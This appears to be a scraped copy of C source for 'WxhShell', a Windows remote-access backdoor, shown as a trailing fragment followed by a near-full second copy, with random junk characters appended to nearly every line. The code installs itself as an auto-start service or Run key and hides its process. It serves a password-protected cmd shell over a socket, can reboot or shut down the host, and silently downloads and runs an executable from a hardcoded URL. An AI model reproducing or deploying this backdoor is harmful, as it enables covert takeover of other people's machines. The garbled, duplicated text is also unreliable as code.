    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%D^8>S  
    else { LY+|[qka  
    closesocket(wsh); |*`Z*6n  
    ExitThread(0); 0?>dCu\  
    } c&L"N!4z  
    break; d:yqj:  
    } ;j2vHU#q-  
  // 获取shell NzNA>[$[  
  case 's': { aN(|'uO@  
    CmdShell(wsh); qoAj] ")  
    closesocket(wsh); c_elShK8#  
    ExitThread(0); \rPbK+G.  
    break; O(_[ayE  
  } &5: tn=E  
  // 退出 B-l'vVx  
  case 'x': { Uk\Id ~xLV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H<1WbM:w  
    CloseIt(wsh); S6[v;{xJ  
    break; 36am-G  
    } MeUaTJFEB  
  // 离开 ?mlNL/:  
  case 'q': { h>Hb `G<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -1J[n0O.  
    closesocket(wsh); + T8B:  
    WSACleanup(); )Y)pmjZaG  
    exit(1); xp Og8u5  
    break;  }K3x  
        } >a}f{\Q  
  } Onwp-!!.  
  }  @Pt="*g  
GH[wv<  
  // 提示信息 \m1~jMz*>k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u,6~qQczE  
} }3?n~s\)6f  
  } ciMzf$+G$  
PiA0]>  
  return; HF(KN{0.B  
} 3d|9t9v  
YQY%M>F@d%  
// shell模块句柄 3$X'Y]5a  
int CmdShell(SOCKET sock) HbW0wuI  
{ QcpXn4/*  
STARTUPINFO si; N$[{8yil^w  
ZeroMemory(&si,sizeof(si)); \<g*8?yFs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p}cw{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y '!m4-  
PROCESS_INFORMATION ProcessInfo; .?l\g-;=  
char cmdline[]="cmd"; :>=\.\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q1+dCCY#F  
  return 0; v;)..X30  
} @9"J|}  
y:6; LZ9[  
// 自身启动模式 _8E/) M  
int StartFromService(void) g1( IR)U!z  
{ 6R^^.tCs  
typedef struct IC7M$  
{ h2D>;k  
  DWORD ExitStatus; o>VVsH  
  DWORD PebBaseAddress; /bVoErf  
  DWORD AffinityMask; XcjRO#s\  
  DWORD BasePriority; 0L/n?bf  
  ULONG UniqueProcessId; CvD "sHVq%  
  ULONG InheritedFromUniqueProcessId; |vw"[7_aS  
}   PROCESS_BASIC_INFORMATION; /gG"v5]  
K1T4cUo  
PROCNTQSIP NtQueryInformationProcess; O<V4HUW  
Ywwu0.H<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '  <=+;q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?5 {>;#0Z  
yNbjoFM.i  
  HANDLE             hProcess; y~\oTJb  
  PROCESS_BASIC_INFORMATION pbi; Nal9M[]c  
9B9(8PVG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5^x1cUB]  
  if(NULL == hInst ) return 0; Z+=@<i''  
5@BBo eG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ruy}/7uf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  \*<d{gZ~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &oX>* 6L  
^cuc.g)c$?  
  if (!NtQueryInformationProcess) return 0; FIsyiSY<j  
.*)2SNH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sL$:"=  
  if(!hProcess) return 0; )<tI!I][j  
S@/IQR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a5 TioQ  
i,/0/?)*_  
  CloseHandle(hProcess); NN?`"Fww  
gp\<p-}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .~7FyLl$  
if(hProcess==NULL) return 0; ?)ONf#4Y  
:Cj OPl  
HMODULE hMod; p|p l  
char procName[255]; EU+S^SyZi  
unsigned long cbNeeded; V]db'qB\  
q1KZ5G)6GJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |Ur"& Z{  
{fjdr  
  CloseHandle(hProcess); XY3v_5~/1F  
ZNvEW  
if(strstr(procName,"services")) return 1; // 以服务启动 "9Q40w\  
=D<PVGo9  
  return 0; // 注册表启动 Rw0qcM\>|  
} |3KLk?2  
XMu9Uk{|  
// 主模块 ?m\t| /0Q  
int StartWxhshell(LPSTR lpCmdLine) aq@8"b(.  
{ '?p<lu^^B  
  SOCKET wsl; $cU!m(SILQ  
BOOL val=TRUE; $arK(  
  int port=0; YF>m$?;  
  struct sockaddr_in door; #6HA\dE  
t,+nQ9  
  if(wscfg.ws_autoins) Install(); ) u`[6,d  
`M^= D&Bf  
port=atoi(lpCmdLine); .E8_Oz  
YOmM=X+'H  
if(port<=0) port=wscfg.ws_port; 7Bd-!$j+  
 KJaXg;,H  
  WSADATA data; yj.7'{mA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7E79-r&n  
J`].:IOh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oUQ,61H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^Xq 6:  
  door.sin_family = AF_INET; cmU1!2.1E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1oW ED*B  
  door.sin_port = htons(port); heC/\@B  
$m-2Hh qZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EWkLXU6t  
closesocket(wsl); [QoK5Yw{  
return 1; GkTiDm?  
} CU@Rob}s  
%1xb,g KO  
  if(listen(wsl,2) == INVALID_SOCKET) { zv\kPfGDK  
closesocket(wsl); AW!?"xdZ  
return 1; n%.7h3  
} TU,s*D&e  
  Wxhshell(wsl); m!tbkZHQn0  
  WSACleanup(); m4hg'<<V  
7>))D'l57  
return 0; b)qoh^  
Ki$MpA3j   
} &-Gqdnc  
Pama#6?OPh  
// 以NT服务方式启动 SBfT20z[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yDegcAn?  
{ Kzm+GW3o[  
DWORD   status = 0; -~v2BN/  
  DWORD   specificError = 0xfffffff; R\G0'?h >  
bU2Z[sn.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ] [+#;avU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5A3xVN=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v,-HU&/*B  
  serviceStatus.dwWin32ExitCode     = 0; RL@VSHXc  
  serviceStatus.dwServiceSpecificExitCode = 0; i%#+\F.&  
  serviceStatus.dwCheckPoint       = 0; [ 0KlC1=  
  serviceStatus.dwWaitHint       = 0; xy/`ZS2WPq  
J\:R|KaP<p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7WkB>cn  
  if (hServiceStatusHandle==0) return; V k  K  
8"2=U6*C  
status = GetLastError(); Mb|a+,:>3  
  if (status!=NO_ERROR) :toh0oB[  
{ qG?Qc (  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Eg#K.5hJ  
    serviceStatus.dwCheckPoint       = 0; mGJKvJF   
    serviceStatus.dwWaitHint       = 0;  8pIP  
    serviceStatus.dwWin32ExitCode     = status; YQ9'0F[l  
    serviceStatus.dwServiceSpecificExitCode = specificError; +eK"-u~K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aW)-?(6>  
    return; jET{Le8i  
  } hIs4@0  
-.u]GeMy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ao1(]64X"  
  serviceStatus.dwCheckPoint       = 0; 8*#R]9  
  serviceStatus.dwWaitHint       = 0; s%nUaWp~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %et } A93  
} .oYl-.E>&  
:8=ikwQ  
// 处理NT服务事件,比如:启动、停止 =jOv] /  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rg\z<wPBG  
{ fk6%XO  
switch(fdwControl) A+ZK4]xb  
{ la0BiLzb]  
case SERVICE_CONTROL_STOP: ([T>.s  
  serviceStatus.dwWin32ExitCode = 0; "d#Y}@*~o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lT(WD}OS  
  serviceStatus.dwCheckPoint   = 0; V@e?#iz  
  serviceStatus.dwWaitHint     = 0; LrM=*R h,O  
  { DCIxRPw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (C-{B[Y  
  } r3&G)g=u  
  return; |[<_GQl  
case SERVICE_CONTROL_PAUSE: U@_dm/;0&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EUD~CZhS"k  
  break; , pDnRRJ!  
case SERVICE_CONTROL_CONTINUE: %p^wZtm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8=B|C'>  
  break; M -cTRd-i  
case SERVICE_CONTROL_INTERROGATE: ww\CQ6/h  
  break; l&OKBUG  
}; [842&5Pd?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DBW[{D E  
} =9y[1t  
?26I,:;  
// 标准应用程序主函数 A!s`[2 Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jSh5!6O  
{ 2,$8icM  
Cc+t}"^  
// 获取操作系统版本 l2zFKCGF(  
OsIsNt=GetOsVer(); &gVN&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); we~[] \  
:q$.,EZ4#n  
  // 从命令行安装 0%9 q8 M;  
  if(strpbrk(lpCmdLine,"iI")) Install(); zT =Ho   
j"ThEx0  
  // 下载执行文件 lGPUIoUo  
if(wscfg.ws_downexe) { Bn=by{i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f2Klt6"9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Uol|9F  
} B:b5UD  
ZXqSH${Tp  
if(!OsIsNt) { B8.Pn  
// 如果时win9x,隐藏进程并且设置为注册表启动 <r .)hT"0  
HideProc(); bR*-Ht+wd  
StartWxhshell(lpCmdLine); KyVQh8  
} ocqU=^ta  
else 1tEgl\u\  
  if(StartFromService()) wKtl+}}  
  // 以服务方式启动 kw >v:F<M  
  StartServiceCtrlDispatcher(DispatchTable); W]"zctE  
else rHC>z7+z.  
  // 普通方式启动 )M,Of Xa  
  StartWxhshell(lpCmdLine); c(3~0Yr  
]e"=$2d$  
return 0; 9Tg IB  
} 'DY`jVwa  
(Mo*^pVr  
K SbKEA  
y6ECdVF  
=========================================== 7,U=Qe;  
IpINH3odT  
%q/62f7?  
V/%>4GYnC  
54gBJEhg  
0IwA#[m1`  
" :#LLo}LKp  
!POl;%\  
#include <stdio.h>  ,V,`Jf  
#include <string.h> I?h)OvWd  
#include <windows.h> ~+Rc }K  
#include <winsock2.h> R+2+-j4  
#include <winsvc.h> y~Bh  
#include <urlmon.h> n&{Dq}q  
{'XggI%  
#pragma comment (lib, "Ws2_32.lib") 6.CbAi3Z  
#pragma comment (lib, "urlmon.lib") gQo]  
;\a YlV-  
#define MAX_USER   100 // 最大客户端连接数 %7"q"A r[  
#define BUF_SOCK   200 // sock buffer TC @s  
#define KEY_BUFF   255 // 输入 buffer Ee)T1~;W  
>QjAoDVX?  
#define REBOOT     0   // 重启 X}=n:Ql'YY  
#define SHUTDOWN   1   // 关机 ^`*9QjY  
3)F |*F3R  
#define DEF_PORT   5000 // 监听端口 =!kk|_0%E  
M`. tf_x  
#define REG_LEN     16   // 注册表键长度 !S^AgZ~  
#define SVC_LEN     80   // NT服务名长度 G<At_YS  
0C =3dnp6  
// 从dll定义API v/Py"hQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1{r3#MVL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3/aMJR:o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x*![fK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ~3Lg"I  
Lrta/SU*  
// wxhshell配置信息 cGtO +DE  
struct WSCFG { xAqb\|$^  
  int ws_port;         // 监听端口 YNLV9.P6  
  char ws_passstr[REG_LEN]; // 口令 un)4eo!7  
  int ws_autoins;       // 安装标记, 1=yes 0=no %j:]^vqFA  
  char ws_regname[REG_LEN]; // 注册表键名 I3=%h  
  char ws_svcname[REG_LEN]; // 服务名 ge,H-8'Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kY&k-K\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'z0:Ccbj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I~q#eO)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r;/4F/6"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {%<OD8>p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oo,uO;0G  
hXfQ)$J  
}; H(R1o~  
~?D4[D|sB  
// default Wxhshell configuration 9)y/:sO<P  
struct WSCFG wscfg={DEF_PORT, _76PIR{an  
    "xuhuanlingzhe", yL%K4$z  
    1, y-T| #  
    "Wxhshell", ^M3~^lV  
    "Wxhshell", )` SE S."  
            "WxhShell Service", r#+d&.|  
    "Wrsky Windows CmdShell Service", zAK+8{,  
    "Please Input Your Password: ", {!.(7wV\  
  1, VO,!x~S!  
  "http://www.wrsky.com/wxhshell.exe", RS"H8P 4W  
  "Wxhshell.exe" L; T8?+x  
    }; vGc,vjC3x  
)'Oh `$M  
// 消息定义模块 }E+!91't.^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;,$NAejgd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O!zV)^r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B\<Q ;RI2;  
char *msg_ws_ext="\n\rExit."; Ao&\EcIOT  
char *msg_ws_end="\n\rQuit."; G'rxXJq  
char *msg_ws_boot="\n\rReboot..."; IC#>X5  
char *msg_ws_poff="\n\rShutdown..."; IM:=@a{  
char *msg_ws_down="\n\rSave to "; D;oe2E{I  
@.osJ}FxA  
char *msg_ws_err="\n\rErr!"; oeKHqP wg  
char *msg_ws_ok="\n\rOK!"; nA?`BOe(  
hhSy0  
char ExeFile[MAX_PATH]; XUM!Qv  
int nUser = 0; VcAue!MN  
HANDLE handles[MAX_USER]; *YW/_  
int OsIsNt; stG~AC  
8;z6=.4xtg  
SERVICE_STATUS       serviceStatus; IYqBQnX}oM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @En^wN  
]Oh@,V8  
// 函数声明 <p}R~zk  
int Install(void); aHs^tPg  
int Uninstall(void); {n(b{ ibl  
int DownloadFile(char *sURL, SOCKET wsh); =CK4.   
int Boot(int flag); 5j:0Yt  
void HideProc(void); 4,..kSA3iw  
int GetOsVer(void); h "Xg;(K  
int Wxhshell(SOCKET wsl); g+DzscIT  
void TalkWithClient(void *cs); _6_IP0;  
int CmdShell(SOCKET sock); T#M,~lD  
int StartFromService(void); bsuus R9W  
int StartWxhshell(LPSTR lpCmdLine); v$~QU{ &  
?;KKw*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lwHzj&/ ~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +)kb(  
UUSq$~Ct  
// 数据结构和表定义  u*e.yN  
SERVICE_TABLE_ENTRY DispatchTable[] = @L>q (Kg  
{ &/mA7Vf>eR  
{wscfg.ws_svcname, NTServiceMain}, nS/)P4z  
{NULL, NULL} d1T,eJ}  
}; x HoKo  
W [Of|?  
// 自我安装 / rg*p  
int Install(void) ]NjX?XdX<  
{ O>SLOWgha  
  char svExeFile[MAX_PATH]; x6(~;J  
  HKEY key; t]>Lh>G  
  strcpy(svExeFile,ExeFile); &Q+Ln,(&L  
z|=}1; (.  
// 如果是win9x系统,修改注册表设为自启动 c#a @n 4  
if(!OsIsNt) { anIAM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E8>Ru i@9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6726ac{xz  
  RegCloseKey(key); cS>e?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zEs>b(5u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3l)hyVf&  
  RegCloseKey(key); ipQLK{]t  
  return 0; I3 .x9  
    } ([ jF4/  
  } `n$I]_}/%  
} :/y1yM  
else { 7+]=-  
`^bgUmJ~  
// 如果是NT以上系统,安装为系统服务 D-8O+.@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %TX@I$Ba  
if (schSCManager!=0) GMMp|WV|  
{ + hn+K1  
  SC_HANDLE schService = CreateService @b"t]#V(E  
  ( ZPiq-q  
  schSCManager, }MRd@ 0-?!  
  wscfg.ws_svcname, MHSs!^/g5  
  wscfg.ws_svcdisp, tYZ[6 8  
  SERVICE_ALL_ACCESS, &$"i,~q^b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xg<*@4RD8  
  SERVICE_AUTO_START, :80Z6F.k`  
  SERVICE_ERROR_NORMAL, ZaeqOVp/j  
  svExeFile, }-ftyl7  
  NULL, KiI!frm1  
  NULL, O?U'!o=  
  NULL, )_{dWf1  
  NULL, ulu9'ch  
  NULL /E Bo3`  
  ); XD|E=s  
  if (schService!=0) x;-. ZVF  
  { ?g?L3vRK  
  CloseServiceHandle(schService); )\sc83L  
  CloseServiceHandle(schSCManager); v[#9+6P=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hfnN@Kg?B}  
  strcat(svExeFile,wscfg.ws_svcname); _$= _du  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .gG1kWA-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dlJbI}-v=  
  RegCloseKey(key); )_mr! z(S  
  return 0; M>&%(4K  
    } A:aE|v/T&  
  } :/:.Kb  
  CloseServiceHandle(schSCManager); 8aO~/i:(.  
} s_x:T<]  
} s4 6}s{6   
=:DaS`~V  
return 1;  -QOw8vm  
} {LX.iH9}l  
VUVaaOmO  
// 自我卸载 Ynp{u`?  
int Uninstall(void) ,oaw0Vw  
{ `VKf3&|<A  
  HKEY key; {z(xFrY  
.uyGYj-C  
if(!OsIsNt) { ZQ)>s>-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &07]LF$]  
  RegDeleteValue(key,wscfg.ws_regname); ^&bRX4pYo  
  RegCloseKey(key); vr0WS3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { , #U .j  
  RegDeleteValue(key,wscfg.ws_regname); @?=|Y  
  RegCloseKey(key); s:p[DEj-  
  return 0; /rq VB|M  
  } S|apw7C  
} Y|8:;u'  
} 'rMN=1:iu"  
else { xqC+0{] y  
IB# @yH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); = QQ5f5\l  
if (schSCManager!=0) w=j  
{  Np'2}6P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *c%oN |  
  if (schService!=0) o&`<+4 i  
  { 2WtRJi?b|  
  if(DeleteService(schService)!=0) { F#5B<I  
  CloseServiceHandle(schService); >Y_*%QGH_  
  CloseServiceHandle(schSCManager); Jd5:{{ Lb  
  return 0; A,\6nO67  
  } k$H%.l;E  
  CloseServiceHandle(schService); '~ ,p[  
  } ][W_[0v  
  CloseServiceHandle(schSCManager); ]l'Y'z,}  
} cgl*t+o&  
} 9AxCiT.  
w=^`w:5X  
return 1; w QNxL5B  
} 6)vSG7Ise  
R  zf  
// 从指定url下载文件 ua5OGx  
int DownloadFile(char *sURL, SOCKET wsh) Kv.>Vf.T}_  
{ .so[I  
  HRESULT hr; q4}PM[K?=\  
char seps[]= "/"; Qtbbb3m;  
char *token; fO0(Z  
char *file; F1jglH/MF)  
char myURL[MAX_PATH]; 0PU8 #2pR  
char myFILE[MAX_PATH]; R2(3 >`FJ  
deM7fN4lTi  
strcpy(myURL,sURL); aYuD>rD  
  token=strtok(myURL,seps); %z#f.Ql  
  while(token!=NULL) = M]iIWQ@`  
  { ]UH`Pdlt  
    file=token; Si_%Rr&jW  
  token=strtok(NULL,seps); &VV~%jl;k  
  } P( XaTU&-  
ccLq+a|  
GetCurrentDirectory(MAX_PATH,myFILE); 9G{;?c  
strcat(myFILE, "\\"); *xON W  
strcat(myFILE, file); Pu"R,a  
  send(wsh,myFILE,strlen(myFILE),0); K4]g[z  
send(wsh,"...",3,0); hoQs @[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )//I'V  
  if(hr==S_OK) _U{zMVr  
return 0; u0#}9UKQ  
else >. '<J]  
return 1; \MjJ9u `8  
NPd%M  
} u%]shm  
2gzou|Y  
// 系统电源模块 cs1l~bl  
int Boot(int flag) 6ezS{Q  
{ Tszp3,]f  
  HANDLE hToken; 1j:Wh  
  TOKEN_PRIVILEGES tkp; *^RmjW1I  
MXzVgy  
  if(OsIsNt) { "y_#7K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %H]lGN)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X=Ys<TM,  
    tkp.PrivilegeCount = 1; - /(s#D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /v/C<]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H"C[&r  
if(flag==REBOOT) { {}QB|IH`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -S$1Yn  
  return 0; >m# e:[N  
} $&<uT  
else { j'aHF#_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ukvtQz)  
  return 0; /}Lt,9  
} UK1_0tp]x  
  } ] )F7)  
  else { @BrMl%gV  
if(flag==REBOOT) { x7vctjM|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u`olW%C/T  
  return 0; Q>R>R*1.j  
} m}8[#:  
else { >~`r:0',  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I j$lDJS  
  return 0; ,_X /Gb6)  
} K =wBpLB  
} XuD=E  
rHf&:~   
return 1; +=]!P#  
} Ndo a4L)$  
OKi\zS  
// win9x进程隐藏模块 ?UK|>9y}Z  
void HideProc(void) =xsTDjH>  
{ <`jLY)sw  
@&]#uRl|[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0vVV%,v  
  if ( hKernel != NULL ) {0;3W7  
  { iSFuT7; %  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m$9w"8R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f+|$&p%  
    FreeLibrary(hKernel); Qc[3Fq,f  
  } 8E8N6  
!q-f9E4`  
return; E;d7ch  
} ?7 M.o  
*loOiM\5a  
// 获取操作系统版本 -F=v6N{  
int GetOsVer(void) 6<'rG''  
{ "Tm[t?FMbe  
  OSVERSIONINFO winfo; ,^gyH \  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R|f~>JUF  
  GetVersionEx(&winfo); PG8^.)]M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M\Gdn92pd  
  return 1; k{VE1@  
  else (ewe"N+  
  return 0; kPQtQh]y%  
} }U SC1J  
aA'|Rg,  
// 客户端句柄模块 Oky**B[D'  
int Wxhshell(SOCKET wsl) }hYZ" A~  
{ $ ''9K  
  SOCKET wsh; +rIL|c}J  
  struct sockaddr_in client; 16L]=&@  
  DWORD myID; 50 A^bbid  
T \CCF  
  while(nUser<MAX_USER) >Bs#Xb_B]  
{ %lX%8Z$v  
  int nSize=sizeof(client); ur vduE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (mtoA#X1:h  
  if(wsh==INVALID_SOCKET) return 1; s;1]tD  
S,U Pl}KF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /B5-Fx7j3  
if(handles[nUser]==0) GZ{]0$9I'  
  closesocket(wsh); ,+g&o^T  
else Dw7vv]+ S  
  nUser++; yQ3OL#  
  } &QG6!`fK}3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lpRR&  
f30Pi1/h=c  
  return 0; 6YuY|JD  
} l<Q>N|1#k%  
/m( =`aRt  
// 关闭 socket rCS#{x  
void CloseIt(SOCKET wsh) ^m/14MN|  
{ NxVw!TsR  
closesocket(wsh); Fb/XC:AD  
nUser--; QI]Ih  
ExitThread(0); Sa"9^_.2#  
} 'TTUN=y  
~2d:Q6  
// 客户端请求句柄 .[u> V  
void TalkWithClient(void *cs) g~BoFc.V2~  
{ c8Q]!p+Yp  
? <Y+peu  
  SOCKET wsh=(SOCKET)cs; p#SY /KIw  
  char pwd[SVC_LEN]; U$H @ jJ*  
  char cmd[KEY_BUFF]; #wc \T  
char chr[1]; kz"3ZDR  
int i,j; Y%|@R3[Nk  
3x~{QG5Gn  
  while (nUser < MAX_USER) { 4t/&.  
W5/0`[4  
if(wscfg.ws_passstr) { (_r EAEo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @HBEt^!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +3i7D  
  //ZeroMemory(pwd,KEY_BUFF); },5'z {3E  
      i=0; LkLN7|  
  while(i<SVC_LEN) { - }!H3]tr  
=`Y.=RL+'n  
  // 设置超时 Y~)T  
  fd_set FdRead; \@}#Gez  
  struct timeval TimeOut; OG3/-K8R  
  FD_ZERO(&FdRead); b dJ+@r  
  FD_SET(wsh,&FdRead); E42eOGp9i  
  TimeOut.tv_sec=8; hI pKJ&hm  
  TimeOut.tv_usec=0; F?m?UQS'u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zq1mmFIO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VD4C::J  
7Z UiY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y<XlRTy[}  
  pwd=chr[0]; +%N KQ'49I  
  if(chr[0]==0xd || chr[0]==0xa) { =e><z9hY  
  pwd=0; AM} brO  
  break; (-NHx o  
  } )' xETA  
  i++; ?3Ij*}_O2  
    } #Fu>|2F|  
.+y>8h3{  
  // 如果是非法用户,关闭 socket Wk^RA_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mL~z~w*s  
} m-T~fJ  
2X-l{n;>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fqs]<qi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 91of~ffh  
 ==/n(LBD  
while(1) { $jI>[%  
7@a 0$coP  
  ZeroMemory(cmd,KEY_BUFF); `>D9P_Y"jI  
7%OKH<i\2<  
      // 自动支持客户端 telnet标准   9Q W&$n^  
  j=0; kC$&:\Rh  
  while(j<KEY_BUFF) { u)Q;8$`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )a=/8ofe  
  cmd[j]=chr[0]; ^D@b;EyK  
  if(chr[0]==0xa || chr[0]==0xd) { Ip}Vb6}  
  cmd[j]=0; rVQX7l#YI  
  break; rOD1_X-  
  } _SZ5P>GIU  
  j++; gQ~5M'#  
    } oUx[+Gnv  
^IgY d*5  
  // 下载文件 %Y4e9T".  
  if(strstr(cmd,"http://")) { ">dq0gD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U},=LsDsW4  
  if(DownloadFile(cmd,wsh)) I~'*$l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZX b}91rzt  
  else -Uo?WXP]B'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o@lWBfB*%e  
  } :^C'<SY2Gs  
  else { ly4Qg\l  
0"xPX#Cvj  
    switch(cmd[0]) { rFJ[dz  
  %-;b u|  
